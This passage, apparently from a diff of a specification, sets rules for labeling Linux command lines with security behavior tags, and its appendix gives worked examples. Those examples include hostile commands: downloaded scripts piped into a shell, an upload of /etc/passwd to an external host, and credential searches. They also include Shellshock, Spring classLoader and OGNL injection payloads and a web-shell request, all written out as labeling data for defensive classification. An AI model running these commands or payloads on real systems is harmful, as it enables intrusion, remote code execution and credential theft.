file's linked dependencies or metadata. They are `inspect_file_metadata`, not
|
| 1026 |
+
generic system-state inspection, unless the command visibly queries runtime
|
| 1027 |
+
system state.
|
| 1028 |
+
Content rendering tools such as `strings`, `hexdump`, and `xxd` read target
|
| 1029 |
+
content. They inherit the target's semantic read tag and MUST NOT add
|
| 1030 |
+
`inspect_file_metadata` unless the command visibly inspects metadata rather than
|
| 1031 |
+
content.
|
| 1032 |
+
Kernel and runtime tracing tools such as `bpftrace`, `execsnoop`, `opensnoop`,
|
| 1033 |
+
`filetop`, `fileslower`, `filelife`, `perf trace`, and `sysdig` tag the tracing,
|
| 1034 |
+
eBPF loading, packet capture, or capture-file read that is currently performed.
|
| 1035 |
+
Probe names, filters, process names, and quoted command patterns are selectors
|
| 1036 |
+
only; they MUST NOT be tagged as execution, semantic file reads, credential
|
| 1037 |
+
reads, or log reads unless the command actually executes or reads that object
|
| 1038 |
+
now. Process-exec tracers use `trace_process_execution`; file-open/access
|
| 1039 |
+
tracers use `trace_file_access`. Output flags that write trace or capture data
|
| 1040 |
+
tag the visible write only when the vocabulary has a suitable write tag.
|
| 1041 |
+
`strace` and `ltrace` follow the same rule; a real command operand is executed
|
| 1042 |
+
under tracing, while `strace -e trace=file`, `open`, or `openat` forms are file
|
| 1043 |
+
access tracing rather than semantic reads of the matched paths.
|
| 1044 |
+
Kernel parameter reads and writes include `sysctl` and `/proc/sys` paths.
|
| 1045 |
+
Kernel state reads include `dmesg`, `uname`, cgroup/kernel debug state, and
|
| 1046 |
+
feature/status probes that do not read a tunable parameter. Process memory reads
|
| 1047 |
+
cover `/proc/<pid>/mem`, core files, heap dumps, and memory images; thread dumps,
|
| 1048 |
+
backtraces, stack dumps, pprof/perf captures, and comparable runtime snapshots
|
| 1049 |
+
capture process state. Terminal scrollback capture from tools such as tmux is
|
| 1050 |
+
not process-state capture. Commands that add or remove tracing probes modify
|
| 1051 |
+
kernel tracing state; commands that record or display observed execution traces
|
| 1052 |
+
use tracing tags.
|
| 1053 |
+
Local hardware and accelerator status tools such as GPU inventory, utilization,
|
| 1054 |
+
topology, clock, power, and temperature queries inspect system state. Cluster
|
| 1055 |
+
metric commands such as Kubernetes `top` read service metrics rather than local
|
| 1056 |
+
host state.
|
| 1057 |
+
Host security audit and malware scan tools inspect system state unless a more
|
| 1058 |
+
specific content class is visible. Their target path alone does not make the
|
| 1059 |
+
operation storage-state inspection. Explicit report, log, quarantine, or output
|
| 1060 |
+
destinations do not add file-path behavior tags; quarantine or move operations
|
| 1061 |
+
require a retained semantic tag such as critical-path, credential, log, archive,
|
| 1062 |
+
or domain-specific mutation to be taggable.
|
| 1063 |
+
Packet tools such as `tcpdump` and `tshark` use live capture tags for interface
|
| 1064 |
+
captures and `read_packet_capture` for `-r` capture-file reads. Capture filters
|
| 1065 |
+
and display filters are selectors; uploading captured output keeps both the
|
| 1066 |
+
capture/read tag and the visible upload direction. Tools that read saved pcap,
|
| 1067 |
+
pcapng, flow, or Zeek input files use `read_packet_capture`; tools that merely
|
| 1068 |
+
serve or relay a capture-named file over a listener do not become packet
|
| 1069 |
+
capture. Active traffic redirection or spoofing commands are route modification
|
| 1070 |
+
when the visible objective is path manipulation; add listener tags only when the
|
| 1071 |
+
tool starts reachable services now.
|
| 1072 |
+
Shell and tunnel direction is determined by the command's active network role.
|
| 1073 |
+
`spawn_bind_shell` requires a listening endpoint whose executed program is a
|
| 1074 |
+
shell; a listener that serves a file, forwards bytes, or runs a non-shell command
|
| 1075 |
+
is not a bind shell. `spawn_reverse_shell` requires an outbound connection wired
|
| 1076 |
+
to an interactive shell; strings that merely print a payload, dead arguments, or
|
| 1077 |
+
one-way content piped into an interpreter are not reverse shells. Reverse-tunnel
|
| 1078 |
+
clients such as `ssh -R` and `autossh -R` are not additionally local listeners,
|
| 1079 |
+
but reverse-tunnel servers or relay daemons with explicit listen ports do listen.
|
| 1080 |
+
Loopback and Unix-socket services are local listeners; wildcard or non-loopback
|
| 1081 |
+
binds are network listeners. Remote interactive clients such as Mosh, Telnet, and
|
| 1082 |
+
WinRM open remote sessions; tag them as service connections and add
|
| 1083 |
+
`spawn_interactive_shell` only when the command establishes an interactive shell
|
| 1084 |
+
or shell-like session, not for banner probes.
|
| 1085 |
+
DNS record, zone, resolver, and provider-record mutations are DNS config
|
| 1086 |
+
modification. DNS cache flushes are cache flushes, not DNS config changes.
|
| 1087 |
+
DNS server zone/config reload commands are DNS configuration state changes, not
|
| 1088 |
+
generic service-state changes, when the visible operation is reloading DNS
|
| 1089 |
+
zones or resolver configuration.
|
| 1090 |
+
Zone-transfer commands use `perform_dns_zone_transfer`; uploaded zone-transfer
|
| 1091 |
+
output keeps the visible upload direction and sensitive-content class when the
|
| 1092 |
+
zone or output path establishes it. VPN start, stop, up, down, and initiate
|
| 1093 |
+
commands manage VPN connections; explicit VPN profile/config operands also read
|
| 1094 |
+
infrastructure config.
|
| 1095 |
+
System log writers such as `logger` tag appended system-log content. Literal log
|
| 1096 |
+
messages are not executed or reclassified from their text. File-input modes such
|
| 1097 |
+
as `logger -f` and journald-entry file modes also read the visible source file's
|
| 1098 |
+
semantic content when the source path establishes one.
|
| 1099 |
+
Journal readers such as `journalctl` tag the visible journal read, search,
|
| 1100 |
+
storage inspection, or vacuum operation. Unit names, fields, and time ranges are
|
| 1101 |
+
filters; they MUST NOT become service inspection or execution tags. SSH/auth
|
| 1102 |
+
units and fields read authentication audit logs, audit transports or auditd read
|
| 1103 |
+
system audit logs, infrastructure daemons read infrastructure logs, and
|
| 1104 |
+
application/business services read business logs. `--vacuum-*` mutates journal
|
| 1105 |
+
retention and is log deletion; `--disk-usage` inspects journal storage usage.
|
| 1106 |
+
Deleting visible log files is log deletion, not a file-path deletion behavior.
|
| 1107 |
+
Authentication and audit logs use `delete_audit_log`, system logs use
|
| 1108 |
+
`delete_system_log`, infrastructure daemon logs use `delete_infrastructure_log`,
|
| 1109 |
+
and application or business-service logs use `delete_business_log`. If the same
|
| 1110 |
+
command also deletes non-log artifacts, add another tag only when those artifacts
|
| 1111 |
+
have a retained semantic class.
|
| 1112 |
+
Log rotation tools read their visible rotation configuration. Debug or dry-run
|
| 1113 |
+
forms tag only the configuration read and other non-mutating inspection visible
|
| 1114 |
+
in the command. Forced, verbose, or normal rotation forms that actually perform
|
| 1115 |
+
rotation tag compression/rotation behavior in addition to the configuration
|
| 1116 |
+
read.
|
| 1117 |
+
|
| 1118 |
+
Storage inventory and usage tools such as `df`, `du`, `lsblk`, `blkid`, and
|
| 1119 |
+
partition-table listing forms of `fdisk`/`sfdisk` are storage-state inspection.
|
| 1120 |
+
Their path operands MUST NOT be upgraded to semantic file, secret, SSH, or
|
| 1121 |
+
cluster reads unless the tool visibly reads that content rather than storage
|
| 1122 |
+
metadata or usage.
|
| 1123 |
+
|
| 1124 |
+
Partition editors without an explicit listing, size, dump, JSON, print, or dry
|
| 1125 |
+
run mode are storage-volume mutation. `partprobe` without dry-run mutates the
|
| 1126 |
+
kernel's partition view; dry-run forms are storage-state inspection.
|
| 1127 |
+
|
| 1128 |
+
Filesystem check tools are storage-state inspection when run in dry-run,
|
| 1129 |
+
no-write, or report-only modes. Auto-repair modes such as assume-yes or
|
| 1130 |
+
preen/automatic repair are storage-volume mutation. Mount table queries are
|
| 1131 |
+
storage-state inspection; mounting and unmounting are mount-state mutation.
|
| 1132 |
+
Loop-device attach/detach mutates storage-volume state; loop-device listing or
|
| 1133 |
+
free-device discovery is storage-state inspection. Swap creation/enabling and
|
| 1134 |
+
disabling are swap-state mutations, not ordinary filesystem formatting. Block
|
| 1135 |
+
copy tools such as `dd` are copies or reads according to their visible source
|
| 1136 |
+
and destination; writing to `/dev/null` or `/dev/zero` is not secure deletion
|
| 1137 |
+
unless the command visibly overwrites the target object being deleted.
|
| 1138 |
+
Container or local volume lifecycle operations such as volume removal mutate
|
| 1139 |
+
storage-volume state rather than deleting ordinary filesystem paths.
|
| 1140 |
+
Snapshot listing, snapshot metadata display, and backup snapshot inventory are
|
| 1141 |
+
inspection. Snapshot creation, deletion, rollback, merge, protect, unprotect,
|
| 1142 |
+
or restore/import operations use snapshot management.
|
| 1143 |
+
|
| 1144 |
+
Single-stream compression tools such as `gzip`, `gunzip`, `bzip2`, and `xz` use
|
| 1145 |
+
compression or decode tags. Their decompression modes MUST NOT be labeled as
|
| 1146 |
+
archive extraction unless the tool actually extracts archive members. Test modes
|
| 1147 |
+
that validate compressed streams are artifact-integrity verification.
|
| 1148 |
+
Compression, archive, decode, and integrity-test commands also inherit visible
|
| 1149 |
+
source-content read tags when the source path identifies scheduled-task,
|
| 1150 |
+
credential, log, config, business, source-code, process-memory, or comparable
|
| 1151 |
+
semantic content.
|
| 1152 |
+
Archive listing modes such as `tar -tf`, `zip/unzip -l`, `7z l`, and `cpio -it`
|
| 1153 |
+
enumerate archive members. Package manager metadata queries against the local
|
| 1154 |
+
package database or configured package repositories, including OS package
|
| 1155 |
+
managers and language package managers such as `apt`, `apt-cache`, `yum`, `dnf`,
|
| 1156 |
+
`zypper`, `apk`, `pacman`, `pip`, `gem`, `composer`, `cargo`, `npm`, `yarn`,
|
| 1157 |
+
`pnpm`, and `rpm -q*` query forms, are package enumeration.
|
| 1158 |
+
Remote application-store searches such as `snap find` and `flatpak search` are
|
| 1159 |
+
package enumeration, not a removed remote-query fallback. Package-manager
|
| 1160 |
+
commands that request ephemeral package resolution for a visible command, such
|
| 1161 |
+
as `npx --package`, include
|
| 1162 |
+
`install_package` in addition to the invoked command's visible behavior. Package
|
| 1163 |
+
simulation requires an explicit dry-run/simulate/no-act form; debug output alone
|
| 1164 |
+
does not make an update or install simulated. `execute_package_hook` is reserved
|
| 1165 |
+
for commands that visibly run package maintainer scripts, package triggers, or
|
| 1166 |
+
package lifecycle scripts, such as explicit configure/trigger/postinst invocations
|
| 1167 |
+
or install commands that explicitly enable script execution. Plain package
|
| 1168 |
+
installs do not gain that tag solely because package managers may run hooks
|
| 1169 |
+
internally. Persisting hook content into a package artifact is future behavior,
|
| 1170 |
+
not current hook execution. System selector tools such as `alternatives --install`
|
| 1171 |
+
are system configuration mutations, not package installs or hooks. Package
|
| 1172 |
+
scripts and build targets such as `npm run`, `yarn run`, `pnpm run`, and
|
| 1173 |
+
`make <target>` MUST NOT be tagged from target names alone. Tag only visible
|
| 1174 |
+
effects in the command line, or standard build/test/lint behavior when the tool
|
| 1175 |
+
form itself establishes it. Standalone project test commands such as `go test`,
|
| 1176 |
+
`cargo test`, `pytest`, `npm test`, `npm run test`, `yarn test`, `pnpm test`,
|
| 1177 |
+
`gradle test`, and Unity test runs use `build_source_code` as project source
|
| 1178 |
+
build/validation behavior when the tool form establishes a real test run. Report
|
| 1179 |
+
and coverage output paths are incidental unless the command directly edits
|
| 1180 |
+
source/config/data files. Lint, type-check, static-analysis, and documentation-generation
|
| 1181 |
+
commands follow the same rule; benchmark commands use `run_performance_test`.
|
| 1182 |
+
Source-code generators and formatters that write generated or reformatted source
|
| 1183 |
+
use `modify_source_code`; artifact-only compilers may still use
|
| 1184 |
+
`build_source_code`.
|
| 1185 |
+
Compiler, linter, and syntax-check commands that take a strongly identified
|
| 1186 |
+
non-source input such as an audit log, systemd unit, Kubernetes manifest, or
|
| 1187 |
+
build script inherit that input's semantic read tag instead of being reduced to
|
| 1188 |
+
source-build behavior.
|
| 1189 |
+
Standard install targets such as `make install` use `install_package`; dry-run
|
| 1190 |
+
publish/package verification uses `verify_artifact_integrity`. Strong persistence
|
| 1191 |
+
targets such as an executed `install-persistence` target may use persistence tags
|
| 1192 |
+
when the objective is explicit.
|
| 1193 |
+
Dry-run or no-op build forms such as `make -n` do not use `build_source_code`
|
| 1194 |
+
unless another visible tag captures the simulated operation.
|
| 1195 |
+
Build or package commands that explicitly pass a hook payload for current
|
| 1196 |
+
execution, such as a pre-goal or release-hook command, use
|
| 1197 |
+
`execute_package_hook` plus the visible nested behavior.
|
| 1198 |
+
Storage pool scrub/status/list operations are
|
| 1199 |
+
storage-state inspection unless the command visibly creates, imports, destroys,
|
| 1200 |
+
or reconfigures storage state.
|
| 1201 |
+
|
| 1202 |
+
Command wrappers that accept a command operand, including `ssh-agent <command>`,
|
| 1203 |
+
execute that operand now. Reviewers MUST tag the nested command's visible
|
| 1204 |
+
behavior when a specific execution tag applies; wrapper setup without a command
|
| 1205 |
+
operand has no behavior tag by itself.
|
| 1206 |
+
|
| 1207 |
+
## Schema Boundary Notes
|
| 1208 |
+
|
| 1209 |
+
This section is normative, but intentionally limited. The RFC does not repeat
|
| 1210 |
+
obvious tag names from the schema. It records only schema-level boundaries that
|
| 1211 |
+
are easy to overuse, confuse with siblings, or break after recent tag removals.
|
| 1212 |
+
|
| 1213 |
+
- Generic file CRUD tags do not exist in rev20. Ordinary create/write/delete/
|
| 1214 |
+
copy/move mechanics get no tag unless the target has a retained security
|
| 1215 |
+
meaning: credential, log, source, scheduled task, systemd unit, critical
|
| 1216 |
+
system path, temporary or hidden staging, special node, executable content,
|
| 1217 |
+
trust store, kernel module, archive/compression, transfer direction, or a
|
| 1218 |
+
domain-specific mutation.
|
| 1219 |
+
- Generic search does not exist in rev20. Only credential/sensitive/SUID/SGID/
|
| 1220 |
+
capability/world-writable search classes have retained search labels. Other
|
| 1221 |
+
filename discovery is `enumerate_filesystem`; content filtering inherits the
|
| 1222 |
+
visible source class, such as config, source, business data, or log.
|
| 1223 |
+
- Generic remote-service query does not exist in rev20. HTTP/RPC/API requests
|
| 1224 |
+
must use a concrete probe, health, metrics, download/upload, mail, database,
|
| 1225 |
+
cache, object-storage, cloud, workload, infrastructure, or other retained
|
| 1226 |
+
domain tag. Opaque remote/API reads with no retained security target get no
|
| 1227 |
+
placeholder tag.
|
| 1228 |
+
- `inspect_system_state`, `inspect_service`, `inspect_infrastructure_service`,
|
| 1229 |
+
`inspect_workload`, and generic cloud resource CRUD are strict fallbacks. Use
|
| 1230 |
+
them only after more specific read, metric, log, config, auth, secret,
|
| 1231 |
+
workload, storage, network, kernel, package, cloud, or domain tags are
|
| 1232 |
+
excluded.
|
| 1233 |
+
- `read_container_secret` is for secret material exposed through a container
|
| 1234 |
+
runtime, mounted secret path, or container environment. `read_cluster_secret`
|
| 1235 |
+
is for secret objects read through the cluster API.
|
| 1236 |
+
- Cluster privilege revocation has no dedicated rev20 tag. Use
|
| 1237 |
+
`modify_cluster_auth_policy` for visible removal or weakening of cluster
|
| 1238 |
+
RBAC/auth policy unless the operation is a concrete secret or identity-object
|
| 1239 |
+
deletion.
|
| 1240 |
+
- Lifecycle tags such as `manage_data_processing_job`, `manage_virtual_machine`,
|
| 1241 |
+
`manage_snapshot`, `manage_database_backup`, and
|
| 1242 |
+
`manage_infrastructure_backup` are valid security-domain labels. Do not split
|
| 1243 |
+
them by verb unless a future downstream security decision requires finer
|
| 1244 |
+
direction.
|
| 1245 |
+
|
| 1246 |
+
## Corpus Row Shape
|
| 1247 |
+
|
| 1248 |
+
Corpus rows and manual review overlay rows MUST use top-level fields for active
|
| 1249 |
+
metadata. They MUST NOT use nested explanation wrappers or model-output
|
| 1250 |
+
bookkeeping as row fields.
|
| 1251 |
+
|
| 1252 |
+
Required fields for a full corpus row:
|
| 1253 |
+
|
| 1254 |
+
```json
|
| 1255 |
+
{
|
| 1256 |
+
"observation_id": "stable row id",
|
| 1257 |
+
"raw": "one raw Linux command line",
|
| 1258 |
+
"behavior_tags": ["zero or more visible complete behavior labels"],
|
| 1259 |
+
"label_source": "source identifier",
|
| 1260 |
+
"meaning": "one objective sentence or paragraph about the visible command",
|
| 1261 |
+
"review_count": 0
|
| 1262 |
+
}
|
| 1263 |
+
```
|
| 1264 |
+
|
| 1265 |
+
`meaning` is the only explanation field. Rows MUST NOT contain `rationale`,
|
| 1266 |
+
`review_rationale`, `stage1_analysis`, `objective_analysis`, or corpus-row
|
| 1267 |
+
`model`.
|
| 1268 |
+
|
| 1269 |
+
`review_count` is a non-negative integer. New rows start at `0`. Each completed
|
| 1270 |
+
manual or agent review pass over that row MUST increment it by exactly `1`,
|
| 1271 |
+
regardless of whether the tags changed.
|
| 1272 |
+
|
| 1273 |
+
## Corpus Change Gate
|
| 1274 |
+
|
| 1275 |
+
Every corpus tag change MUST include:
|
| 1276 |
+
|
| 1277 |
+
1. The visible command evidence.
|
| 1278 |
+
2. The previous tag set and proposed tag set.
|
| 1279 |
+
3. At least one RFC principle ID.
|
| 1280 |
+
4. A short explanation of why the previous tag set violates that principle.
|
| 1281 |
+
|
| 1282 |
+
Appendix example IDs MAY be cited as supporting evidence, but an example alone is
|
| 1283 |
+
not sufficient authority for a corpus rewrite.
|
| 1284 |
+
|
| 1285 |
+
The following are not sufficient reasons to change a row:
|
| 1286 |
+
|
| 1287 |
+
- "More precise."
|
| 1288 |
+
- "Looks suspicious."
|
| 1289 |
+
- "A path name appears without a visible operation that uses it."
|
| 1290 |
+
- "The binary often does X."
|
| 1291 |
+
- "Another reviewer would tag it this way."
|
| 1292 |
+
- "The command could do X after execution."
|
| 1293 |
+
- "The model currently confuses this label."
|
| 1294 |
+
|
| 1295 |
+
If no existing principle decides the case, reviewers MUST update the RFC core or
|
| 1296 |
+
add the case to the open gaps before changing matching corpus rows.
|
| 1297 |
+
|
| 1298 |
+
## Review Workflow
|
| 1299 |
+
|
| 1300 |
+
### New corpus row
|
| 1301 |
+
|
| 1302 |
+
1. Apply the decision procedure.
|
| 1303 |
+
2. Apply the tagging principles.
|
| 1304 |
+
3. Consult appendix examples only as illustrations of the principles.
|
| 1305 |
+
4. If no principle covers a high-confusion case, propose an RFC update before
|
| 1306 |
+
adding many similar rows.
|
| 1307 |
+
|
| 1308 |
+
### Existing corpus row
|
| 1309 |
+
|
| 1310 |
+
1. Start from "no change".
|
| 1311 |
+
2. Identify a concrete schema or RFC principle violation.
|
| 1312 |
+
3. Change only the tags needed to fix the violation.
|
| 1313 |
+
4. Preserve the row when both tag sets are defensible under current principles.
|
| 1314 |
+
|
| 1315 |
+
### RFC update proposal
|
| 1316 |
+
|
| 1317 |
+
A proposal SHOULD include:
|
| 1318 |
+
|
| 1319 |
+
```json
|
| 1320 |
+
{
|
| 1321 |
+
"principle": "RFC-PN or new principle",
|
| 1322 |
+
"status": "proposed",
|
| 1323 |
+
"problem": "short description of recurring ambiguity",
|
| 1324 |
+
"normative_change": "exact MUST/SHOULD language if the core changes",
|
| 1325 |
+
"positive_examples": [
|
| 1326 |
+
{"cmdline": "...", "behavior_tags": ["..."]}
|
| 1327 |
+
],
|
| 1328 |
+
"negative_examples": [
|
| 1329 |
+
{"cmdline": "...", "behavior_tags": ["..."], "forbidden_tags": ["..."]}
|
| 1330 |
+
],
|
| 1331 |
+
"migration_scope": "which corpus rows or tools are affected"
|
| 1332 |
+
}
|
| 1333 |
+
```
|
| 1334 |
+
|
| 1335 |
+
Do not bulk-edit corpus rows for a proposed RFC change until the change is
|
| 1336 |
+
accepted into the RFC core.
|
| 1337 |
+
|
| 1338 |
+
## Open RFC Gaps
|
| 1339 |
+
|
| 1340 |
+
These areas need stronger RFC decisions before aggressive review:
|
| 1341 |
+
|
| 1342 |
+
- Residual `inspect_*` vs `read_*` cases where the tool can either inspect
|
| 1343 |
+
metadata or render semantic content and no domain paragraph decides it.
|
| 1344 |
+
- `read_credential_material` vs `read_secret_store` where a secret-like value is
|
| 1345 |
+
addressed through a generic KV/config store path.
|
| 1346 |
+
- Database client `open_data_service_session` vs query/modify/dump/import when
|
| 1347 |
+
the command opens a session and carries only initialization or ambiguous SQL
|
| 1348 |
+
operands.
|
| 1349 |
+
- Pipeline right-hand side behavior when the left stage only produces metadata.
|
| 1350 |
+
- Shell wrappers and copied binaries where the operative tool is hidden.
|
| 1351 |
+
- Localhost/internal/external classification for URLs and sockets when the
|
| 1352 |
+
literal endpoint is absent or supplied through variables.
|
| 1353 |
+
|
| 1354 |
+
These gaps are narrow exceptions. Reviewers SHOULD still apply the accepted
|
| 1355 |
+
principles above to rows that plainly match them.
|
| 1356 |
+
|
| 1357 |
+
## Appendix A: Boundary Examples
|
| 1358 |
+
|
| 1359 |
+
Appendix examples are non-normative. They document recurring applications of the
|
| 1360 |
+
RFC principles and give reviewers stable example IDs for discussion. They do not
|
| 1361 |
+
add new tag semantics.
|
| 1362 |
+
|
| 1363 |
+
### EX-EVIDENCE-PATH: Operation Beats Path
|
| 1364 |
+
|
| 1365 |
+
Principles: RFC-P1, RFC-P5
|
| 1366 |
+
|
| 1367 |
+
```text
|
| 1368 |
+
cat /home/user/.my.cnf
|
| 1369 |
+
-> read_infrastructure_config
|
| 1370 |
+
|
| 1371 |
+
grep -R password /srv
|
| 1372 |
+
-> search_credentials
|
| 1373 |
+
|
| 1374 |
+
cat /var/log/auth.log
|
| 1375 |
+
-> read_auth_audit_log
|
| 1376 |
+
|
| 1377 |
+
mysqldump --defaults-file=/home/user/.my.cnf db > out.sql
|
| 1378 |
+
-> export_database_dump
|
| 1379 |
+
not read_credential_material
|
| 1380 |
+
|
| 1381 |
+
pyspark --properties-file /var/log/syslog
|
| 1382 |
+
-> manage_data_processing_job
|
| 1383 |
+
not read_system_log
|
| 1384 |
+
```
|
| 1385 |
+
|
| 1386 |
+
### EX-CURRENT-EXECUTION: Quoted Text Is Not Current Execution
|
| 1387 |
+
|
| 1388 |
+
Principles: RFC-P2, RFC-P8
|
| 1389 |
+
|
| 1390 |
+
```text
|
| 1391 |
+
wget http://203.0.113.10/a.sh | sh
|
| 1392 |
+
-> download_script, execute_downloaded_content
|
| 1393 |
+
|
| 1394 |
+
grep -R 'ssh -L 15432:db:5432' /etc
|
| 1395 |
+
-> read_system_config
|
| 1396 |
+
not create_forward_tunnel
|
| 1397 |
+
|
| 1398 |
+
echo '*/5 * * * * root curl http://x/a|bash' > /etc/cron.d/cache
|
| 1399 |
+
-> create_scheduled_task
|
| 1400 |
+
not execute_downloaded_content
|
| 1401 |
+
```
|
| 1402 |
+
|
| 1403 |
+
### EX-COMPOSITION: Independent Stage Evidence
|
| 1404 |
+
|
| 1405 |
+
Principles: RFC-P3, RFC-P4
|
| 1406 |
+
|
| 1407 |
+
```text
|
| 1408 |
+
ssh app01 'grep -R password /srv'
|
| 1409 |
+
-> execute_remote_command, search_credentials
|
| 1410 |
+
|
| 1411 |
+
tar -tf bundle.tgz | head
|
| 1412 |
+
-> enumerate_filesystem
|
| 1413 |
+
not extract_archive
|
| 1414 |
+
|
| 1415 |
+
ssh -R 2222:127.0.0.1:22 relay
|
| 1416 |
+
-> create_reverse_tunnel
|
| 1417 |
+
not listen_network_port
|
| 1418 |
+
```
|
| 1419 |
+
|
| 1420 |
+
### EX-SEARCH: Included Search Objective
|
| 1421 |
+
|
| 1422 |
+
Principles: RFC-P5
|
| 1423 |
+
|
| 1424 |
+
```text
|
| 1425 |
+
grep -R 'password' /srv
|
| 1426 |
+
-> search_credentials
|
| 1427 |
+
|
| 1428 |
+
find / -name '*.env'
|
| 1429 |
+
-> search_sensitive_files
|
| 1430 |
+
|
| 1431 |
+
find /etc -name '*.conf'
|
| 1432 |
+
-> enumerate_filesystem
|
| 1433 |
+
not search_sensitive_files
|
| 1434 |
+
|
| 1435 |
+
grep Listen /etc/ssh/sshd_config
|
| 1436 |
+
-> read_ssh_policy
|
| 1437 |
+
not search_sensitive_files
|
| 1438 |
+
|
| 1439 |
+
grep 'Failed password' /var/log/auth.log
|
| 1440 |
+
-> read_auth_audit_log
|
| 1441 |
+
not search_credentials
|
| 1442 |
+
|
| 1443 |
+
journalctl -u sshd --grep '/home/ops/.ssh/authorized_keys'
|
| 1444 |
+
-> read_auth_audit_log
|
| 1445 |
+
not search_credentials
|
| 1446 |
+
|
| 1447 |
+
sshd -T | grep PasswordAuthentication
|
| 1448 |
+
-> read_ssh_policy
|
| 1449 |
+
not search_credentials
|
| 1450 |
+
|
| 1451 |
+
grep -v 'password' app.log
|
| 1452 |
+
-> read_business_log
|
| 1453 |
+
not search_credentials
|
| 1454 |
+
```
|
| 1455 |
+
|
| 1456 |
+
### EX-IDENTITY: Directory Boundary And Policy Companions
|
| 1457 |
+
|
| 1458 |
+
Principles: RFC-P5, RFC-P7
|
| 1459 |
+
|
| 1460 |
+
```text
|
| 1461 |
+
getent passwd deploy
|
| 1462 |
+
-> read_identity_data
|
| 1463 |
+
|
| 1464 |
+
ldapsearch -x -H ldap://ldap.internal -b 'ou=groups,dc=corp,dc=internal' '(cn=ops-oncall)' member
|
| 1465 |
+
-> connect_internal_service, read_identity_data
|
| 1466 |
+
|
| 1467 |
+
ldapwhoami -x -H ldap://ldap.internal
|
| 1468 |
+
-> connect_internal_service, inspect_current_identity
|
| 1469 |
+
|
| 1470 |
+
getent group sudo
|
| 1471 |
+
-> read_identity_data, read_sudo_policy
|
| 1472 |
+
|
| 1473 |
+
curl --data-binary @/etc/passwd https://ext/upload
|
| 1474 |
+
-> read_identity_data, upload_external_content, upload_sensitive_content
|
| 1475 |
+
```
|
| 1476 |
+
|
| 1477 |
+
### EX-SECRETS: Secret Metadata Vs Secret Values
|
| 1478 |
+
|
| 1479 |
+
Principles: RFC-P5, RFC-P9
|
| 1480 |
+
|
| 1481 |
+
```text
|
| 1482 |
+
kubectl get secret db-creds -o yaml
|
| 1483 |
+
-> read_cluster_secret
|
| 1484 |
+
|
| 1485 |
+
kubectl get secret db-creds -o jsonpath='{.data.password}'
|
| 1486 |
+
-> read_cluster_secret
|
| 1487 |
+
|
| 1488 |
+
kubectl get secret -o name
|
| 1489 |
+
-> enumerate_cluster_secrets
|
| 1490 |
+
not read_cluster_secret
|
| 1491 |
+
|
| 1492 |
+
kubectl get secret db-creds
|
| 1493 |
+
-> enumerate_cluster_secrets
|
| 1494 |
+
not read_cluster_secret
|
| 1495 |
+
|
| 1496 |
+
kubectl describe secret db-creds
|
| 1497 |
+
-> enumerate_cluster_secrets
|
| 1498 |
+
not read_cluster_secret
|
| 1499 |
+
```
|
| 1500 |
+
|
| 1501 |
+
### EX-LOGS: Log Tier Follows Source
|
| 1502 |
+
|
| 1503 |
+
Principles: RFC-P5
|
| 1504 |
+
|
| 1505 |
+
```text
|
| 1506 |
+
cat /var/log/auth.log
|
| 1507 |
+
-> read_auth_audit_log
|
| 1508 |
+
|
| 1509 |
+
journalctl -k
|
| 1510 |
+
-> read_system_log
|
| 1511 |
+
|
| 1512 |
+
tail /var/log/nginx/access.log
|
| 1513 |
+
-> read_infrastructure_log
|
| 1514 |
+
not read_system_log solely because it is under /var/log
|
| 1515 |
+
|
| 1516 |
+
tail /srv/payments/logs/app.log
|
| 1517 |
+
-> read_business_log
|
| 1518 |
+
```
|
| 1519 |
+
|
| 1520 |
+
### EX-SERVICE: Enablement, Runtime State, And Timers
|
| 1521 |
+
|
| 1522 |
+
Principles: RFC-P6
|
| 1523 |
+
|
| 1524 |
+
```text
|
| 1525 |
+
systemctl enable cron.service
|
| 1526 |
+
-> enable_service
|
| 1527 |
+
not modify_service_state
|
| 1528 |
+
|
| 1529 |
+
systemctl enable --now cron.service
|
| 1530 |
+
-> enable_service, modify_service_state
|
| 1531 |
+
|
| 1532 |
+
systemctl restart nginx
|
| 1533 |
+
-> modify_service_state
|
| 1534 |
+
|
| 1535 |
+
systemctl enable --now backup.timer
|
| 1536 |
+
-> modify_scheduled_task
|
| 1537 |
+
|
| 1538 |
+
systemctl list-timers
|
| 1539 |
+
-> enumerate_scheduled_tasks
|
| 1540 |
+
```
|
| 1541 |
+
|
| 1542 |
+
### EX-DOWNLOADED-EXECUTION: Linkage Required
|
| 1543 |
+
|
| 1544 |
+
Principles: RFC-P2, RFC-P7
|
| 1545 |
+
|
| 1546 |
+
```text
|
| 1547 |
+
curl -fsSL http://x/install.sh | bash
|
| 1548 |
+
-> download_script, execute_downloaded_content
|
| 1549 |
+
|
| 1550 |
+
curl -fsSL http://x/key.gpg | apt-key add -
|
| 1551 |
+
-> download_external_content, modify_verification_material
|
| 1552 |
+
not execute_downloaded_content
|
| 1553 |
+
|
| 1554 |
+
nohup ssh -N -L 127.0.0.1:15432:db:5432 bastion &
|
| 1555 |
+
-> create_forward_tunnel, execute_detached_process
|
| 1556 |
+
```
|
| 1557 |
+
|
| 1558 |
+
### EX-HTTP: Command Payloads And Queries
|
| 1559 |
+
|
| 1560 |
+
Principles: RFC-P2, RFC-P7, RFC-P8
|
| 1561 |
+
|
| 1562 |
+
```text
|
| 1563 |
+
curl -X POST http://api/internal -d '{"cmd":"id;uname -a"}'
|
| 1564 |
+
-> upload_internal_content
|
| 1565 |
+
not execute_remote_command
|
| 1566 |
+
|
| 1567 |
+
curl -s -H 'User-Agent: () { :; }; id' http://web/internal/cgi-bin/status.cgi
|
| 1568 |
+
-> upload_internal_content
|
| 1569 |
+
not execute_remote_command
|
| 1570 |
+
not inspect_current_identity
|
| 1571 |
+
|
| 1572 |
+
curl -fsS 'http://app/internal/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di' -H 'c2: id'
|
| 1573 |
+
-> probe_web_application, write_web_script_content
|
| 1574 |
+
not execute_remote_command
|
| 1575 |
+
|
| 1576 |
+
curl -fsS 'http://wiki/internal/${(#a=@java.lang.Runtime@getRuntime().exec("id"))}'
|
| 1577 |
+
-> probe_web_application
|
| 1578 |
+
not execute_remote_command
|
| 1579 |
+
|
| 1580 |
+
curl -fsS 'http://app/internal/shell.jsp?cmd=id'
|
| 1581 |
+
-> probe_web_application
|
| 1582 |
+
not execute_remote_command
|
| 1583 |
+
|
| 1584 |
+
curl -X POST http://api/internal -d '{"payload":"opaque"}'
|
| 1585 |
+
-> upload_internal_content
|
| 1586 |
+
not execute_remote_command
|
| 1587 |
+
|
| 1588 |
+
curl -o /tmp/a.bin http://example/a.bin
|
| 1589 |
+
